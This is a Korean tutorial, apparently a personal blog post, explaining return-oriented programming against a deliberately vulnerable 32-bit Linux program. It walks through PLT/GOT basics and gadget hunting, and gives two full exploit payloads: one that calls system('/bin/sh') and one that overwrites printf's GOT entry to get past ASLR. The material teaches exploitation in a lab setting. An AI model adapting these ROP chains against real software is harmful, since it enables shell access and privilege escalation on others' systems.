ROP(Return Oriented Programming)

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written by kaspy (kaspyx@gmail.com)

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1. 시작하며

ROP(Return Oriented Programming) 이란 버퍼 오버플로우 취약점이 발생하는 바이너리를 exploit 할때 가장 많이 사용되는 기법으로 바이너리 내부에 존재하는 gadget을 사용하여 호출 함수 및 인자를 조작하는 방법이다.

솔직히 관련 자료도 굉장히 많은데.. 나도 복습 할겸 정리해보았다.

일반적으로 ASLR이 걸려있는 바이너리는 Memory leak 또는 got, plt 등에 함수가 존재해야하는 특수한 전제가 붙어야 exploit 가능하지만, ROP 기법을 사용하면 (PIE가 걸려있지않아야함) 바이너리의 고정주소의 gadget을 활용하여 exploit 할수있다.

여기서 gadget이란 바이너리에 존재하는 pop, pop, ret 등의 어셈블리 코드라고 할수있다.

* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 

2. ROP 기본

우선 ROP를 하기위해 기본 개념을 살펴보자.

ret 하기전에 스택에 저장된 값이 아래와 같을때 RTL 기법은 아래와 같이 간단히 나타낼수있다.

그러나 위의 방식의 단점은 인자가 여러개일때 &next func가 호출될때 거기에 맞는 인자를 만들어줄수 없다. 

예를들어 

strcpy(buf,"/bin/sh");

mprotet(0xffffd42c, 256, PROT_EXECUTE)

system(buf);

를 해주고싶은데 단순 RTL로는 해결이 되지않는다. 즉 RTL Call Chain을 구성할수 없는데 이때는 esp을 올려주는 pop과 다시 esp가 가리키는 곳으로 돌아가는 ret을 활용하면 Call Chain을 구성해줄수 있다.

필요한 gadget을 설명하자면

ret는 esp가 가리키는 주소로 돌아가는 명령어이다.

pop eax, pop ebx, pop rax, add esp, 0x16.. 등등은 스택포인터를 올리는 명령어이다.

(뭐 pop eax는 eax에 esp를 넣고 esp를 4바이트 올린다라고 하는게 정확하지만 ROP 하는데에는 esp를 올리고 ret 한다는게 중요함.)

만약에 &next_func(아래에서는 &gadget)의 주소에 pop eax, pop ebx, ret 라는 어셈블리가 있다면 어떻게 될까?

&func 함수가 첫번째로 실행되고 ret 하면서 esp를 4바이트 올린다.

그리고 pop eax, pop ebx를 실행하여 최종 스택의 메모리 정보는 아래와같다.

&next func에서도 역시 똑같은 방식으로 함수의 인자에 따라 구성을 해주면된다.

즉 바이너리 내부에 gadget을 활용함으로써 Call Chain을 구성할수 있다.

3. 취약 프로그램 ROP로 공략해보기

ROP 기법을 설명하는것이니 아래와 같이 버퍼 오버플로우 취약점이 있는 프로그램이 있다고 해보자. 

1. #include <stdio.h>
2.  
3. // sudo sysctl -w kernel.randomize_va_space=0
4. // gcc -o rop rop.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
5.  
6. int main(int argc, char *argv[])
7. {
8.   char buf[32];
9.   setreuid(geteuid(),geteuid());
10.   puts("This is BoF vulnerability binary");
11.  
12.   if ( argc < 2 )
13.   {
14.     return -1;
15.   }
16.  
17.   strcpy(buf,argv[1]);
18.   printf("You entered : %s\n",buf);
19. }

- 바이너리 실행

1) GOT(Global offset table) 및 PLT(Procedure Linkage Table) 영역

이전 블로그에서는 RTL을 사용해서 exploit을 하였지만, 이번에는 ROP를 활용해보도록하겠다.

우선은 알아야할것이 바이너리 내부에 GOT 및 PLT 영역인데, 여기에 대한 정리는 따로 하도록하고

PLT 영역은 현재 프로그램에서 사용하는 함수를 호출하기위해 처음으로 분기하는 루틴이고 GOT 에는 libc 내에 실제 함수의 주소가 저장되어있다.

즉 PLT -> GOT 순서로 호출되는데 예를들어 printf 함수를 호출한다면 printf의 PLT가 호출되고, PLT 에서는 다시 GOT로 점프한다. GOT에서는 첫번째 실행이면 printf의 주소를 저장해주고, printf가 호출되며 두번째부터는 저장된 주소로 호출하도록 되어있다.

취약점 바이너리에서는 printf 및 strcpy 함수가 호출되는데 실제 바이너리를 readelf 명령어로 열어보면 각 함수에 대한 got 및 plt가 나와있는것을 확인할수있다.

뭐 요약하자면 PLT 의 함수를 사용하면 몇개의 함수들은 ASLR의 문제를 해결할수있으며, PLT 함수를 호출함으로써 익스플로잇에 쉽게 활용할수있다.

2) ROP Gadget 구성하기 

ASLR이 걸려있어도 프로그램의 .data, .text 나 .bss 등의 영역은 고정이니 이 고정주소를 참조하면된다. 

나는 아래와같은 함수 호출을 하기위한 gadget을 구성해볼것이다.

strcpy(addr, "/bin/sh");

system(addr);

gadget은 반드시 ret 로 끝나야 하므로 아래와 같은 명령어로 찾아보도록해보자.

objdump -d rop | grep ret -B 3

또한 "/bin/sh" 라는 문자열이 저장된곳도 알아야한다. (나는 0x0804a024 주소의 gadget을 사용하였다.)

보통 한번에 넘겨주면 좋지만 이번에는 연습용이므로 '/\x00', 'b\x00', 'n\x00', '/x0\\', 's\x00', 's\x00' 이런식으로 넘겨주도록 하겠다.(개노가다)

그렇다면 특정 주소(addr)에 strcpy를 여러번 해줘야한다.

(Payload는 대충 a * 36 + ebp(4byte) + ret (ROP Call chain)으로 보면되겠다.)

보통 문자열이 저장되는 주소는 .bss 이나 .data 영역을 많이 사용하는데, 이곳은 초기화되지않은 변수들이 저장되는 전역변수 영역이다. 

나는 strcpy 함수로 저장될 버퍼주소로 0x0804a024으로 잡았다.

readelf -a rop | grep data

이제부터 노가다의 시작이다.

gdb로 프로그램을 실행하여 find 명령어로 '/' , 'b', 'i' ,'n', '/' , 's', 'h'를 찾아서 일일이 strcpy에 1바이트씩 증가시키며 저장해주도록한다

대충 main에서 ret을 할때 스택 payload 구조는 아래와 같이 구성되어진다.

초록색은 strcpy의 plt 주소, 빨강색은 strcpy의 첫번째 버퍼주소, 주황색은 복사할 문자열의 주소 그리고 파랑색은 libc 내부의 system 함수주소, 보라색은 exit 함수의 주소이다.

strcpy의 PLT 주소는 0x08048390이며, gadget(pop, pop, ret)의 주소는 0x080485aa, 저장할 버퍼 주소는 0x0804a024 이다.  '/bin/sh' 문자열이 위치한 각각의 주소는 주황색으로 표시하였다.

gdb를 이용해서 바이너리 내부에 system 함수의 주소는 0xf7e43940 으로 확인되었고, exit 함수의 주소는 0xf7e377b0 이다.

아래는 exploit 코드이다.

./rop `python -c 'print "a" * 36 + "b" *4 + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x24\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x25\xa0\x04\x08" + "\x57\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x26\xa0\x04\x08" + "\x56\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x27\xa0\x04\x08" + "\x5e\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x58\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x1c\x86\x04\x08" + "\x40\x39\xe4\xf7"  + "\xb0\x77\xe3\xf7" + "\x24\xa0\x04\x08" '`

위의 Call chain을 대략 c언어로 나타내면 아래와 같다.

strcpy(buf,'/');

strcpy(buf+1, 'b');

strcpy(buf+2, 'i');

strcpy(buf+3, 'n');

strcpy(buf+4, '/');

strcpy(buf+5, 's');

strcpy(buf+6, 'h');

sytem(buf);

exit(?);

- 실행 결과

4. ASLR 문제점 해결하기

위에서 설명한 exploit은 ASLR 환경에서 작동하지 않는다. 왜냐하면 glibc 내 함수(system) 가 고정이라는 전제를두고 익스플로잇을 하였기 때문이다. 그러나 ROP 기법을 좀더 활용하면 이를 해결할수있다.

이것도 전제조건이 붙긴하는데, .plt 와 .got 영역이 쓰기 가능해야하는것(Partial RELO) 과 PIE가 붙어있으면 안된다. 

우선 ASLR 환경에서 glibc 함수는 랜덤이긴하지만 offset은 동일한데, 

예를들어 glibc내에 printf 함수 주소를 알고있으면 (got에 저장되어있음) 다른 함수와의 offset을 통해 구할수있는것이다.

(나는 printf의 got 주소를 공략하였다. 시간이 된다면 geteuid 등을 공략해서 해보는것도 도움이 될것이다.)

printf got 주소 : 0x804a00c

execve 함수주소: 0xf7eb8400 (25568 offset)

printf 함수주소 : 0xf7e52020

system 함수주소: 0xf7e43940 (-59104 offset)

즉 got 에 저장된 printf 함수 주소에, 59104를 빼면 system 함수 주소가 나오고, 25568을 더하면 execve 함수 주소가 나오는데 이값은 일정하다는것이다.

printf의 got 주소에는 glibc printf 함수 주소가 저장되어있다. 우리는 printf의 got 주소를 system이나 execve등으로 수정한후에 plt의 printf를 불러주면 system 이나 execve 함수를 통해 익스플로잇을 할수있다.

(내가알기론) ROP 쉘 익스플로잇 방법은 2가지가 있다

1) GOT 주소 수정하기

pop ebx

pop ecx

ret

등을 통해 ebx에 got 주소를 넘겨주고

add [ebx+0x23158], ecx 

ret

등의 이상한 gadget을 통해 got에 저장된 주소값을 수정하는 작업을 더해줘서 공략하는 방법

2) 레지스터 조작후 CALL

또하나는

pop eax

pop edx

ret

이후에

lea ecx, [eax]

add ecx, edx

call ecx 

등을 통해 특정 주소의 값을 얻은후에 오프셋만큼 더한후에 call을 하는 방법이다.

물론 저렇게 쉽게 gadget이 나온다는 보장도없지만 최대한 간략화해서 설명했다.

3) ASLR 우회하여 공략하기

위에서 설명한 취약한 바이너리의 ASLR 공략을 위해 좀더 gadget을 찾아보았다.

참고로 나는 방법 1) 2) 둘다 활용하였다.

leave를 이용한 custom stack을 할까도 고민했는데.. 굉장한 노가다가 될거같아서 일일이 gadget을 넣어주었다.(이것도 개노가다)

ropme 라는 유용한 툴을 사용하여 gadget을 찾아보았다.

우선 pop ebx는 많아서 수월해보였는데, eax에 내가 원하는 값을 넣는 gadget이 존재하지않았다.

좀더 찾아보니 adc 형태로 특정 주소에 값을 쓰는 gadget을 발견할수 있었다.

ecx가 가리키는 주소에 1바이트씩 증가시키면서 bh 레지스터(bx의 상위 레지스터)로 1바이트씩 더해주면 strcpy의 널바이트 문제를 해결할수있다. 

그러나 pop ecx 와같은 gadget이 존재하지않았는데, 

아래와 같이 les 라는 명령어로 ecx에 값을 저장할수 있는 gadget을 찾을수 있었다.

ecx에는 les 명령어를 통해 (ebx *3)에 저장된 값을 넣어준다. 나는 0x0804A02C에 저장해줬다.)

즉 plt에 저장된 strcpy 함수를 통해 data 영역에 printf의 got 주소를 써주고 위의 les 명령어가 실행되면 ecx에 printf got 주소가 저장될것이다. 

printf의 got를 execve로 저장하고 printf의 plt를 불러주면 성공적으로 exploit 할수있다.

설명이 길어졌는데 아래와같이 exploit을 보며 이해해보기 바란다.

strcpy의 PLT 주소는 0x08048390이며, gadget(pop pop ret)의 주소는 0x080485aa, 저장할 버퍼 주소는 0x0804a024 이다.  '/bin/sh' 문자열이 위치한 각각의 주소는 주황색으로 표시하였고, 0x0804a02c는 les 명령어로 printf의 got 함수의 주소를 저장해둔 주소이다.

0x08048351 = pop ebx, ret

0x080485a6 = les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret

0x080485a0 = adc [ecx] bh ; div dword [ebp-0x1d] ; add esp 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ;;

0x080486ca = inc ecx ;;

0x08048370 = printf.plt

X\x64XX = pop ebx를 통해 ebx에 저장되는 값

0x08048007 = 0x0

./rop `python -c 'print "a" * 36 + "b" *4 + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x24\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x25\xa0\x04\x08" + "\x57\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x26\xa0\x04\x08" + "\x56\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x27\xa0\x04\x08" + "\x5e\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x58\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x1c\x86\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2c\xa0\x04\x08" + "\x41\x86\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2d\xa0\x04\x08" + "\x01\x83\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2e\xa0\x04\x08" + "\x1a\x80\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2f\xa0\x04\x08" + "\x1b\x80\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x30\xa0\x04\x08" + "\x07\x80\x04\x08" + "\x51\x83\x04\x08" + "\x64\x35\xac\x02" + "\xa6\x85\x04\x08" + "aaaa" + "bbbb" + "\x24\xa0\x04\x08" + "\x51\x83\x04\x08"+ "X\xe0XX" + "\xa0\x85\x04\x08" + "a" * 12 + "X\x64XX" + "bbbb" + "cccc" + "\x24\xa0\x04\x08" + "\xca\x86\x04\x08" + "\xa0\x85\x04\x08" + "a" * 12 + "X\x06XX" + "bbbb" + "cccc" + "\x24\xa0\x04\x08" + "\xca\x86\x04\x08"  + "\xa0\x85\x04\x08" + "a" * 12 + "X\x06XX" + "bbbb" + "cccc" + "eeee"+ "\x70\x83\x04\x08" + "XXXX" + "\x24\xa0\x04\x08" +"\x07\x80\x04\x08"+"\x07\x80\x04\x08"'`

- 실행 화면

(ASLR 환경에서도 잘 작동한다. 단 glibc의 버전이 다르면 offset 계산을 다시해줘야함, 내컴퓨터의 glibc 버전은 2.23)

5. 참고자료

- 외부링크

 - http://teamcrak.tistory.com/332

-내부 링크

 - http://kaspyx.tistory.com/99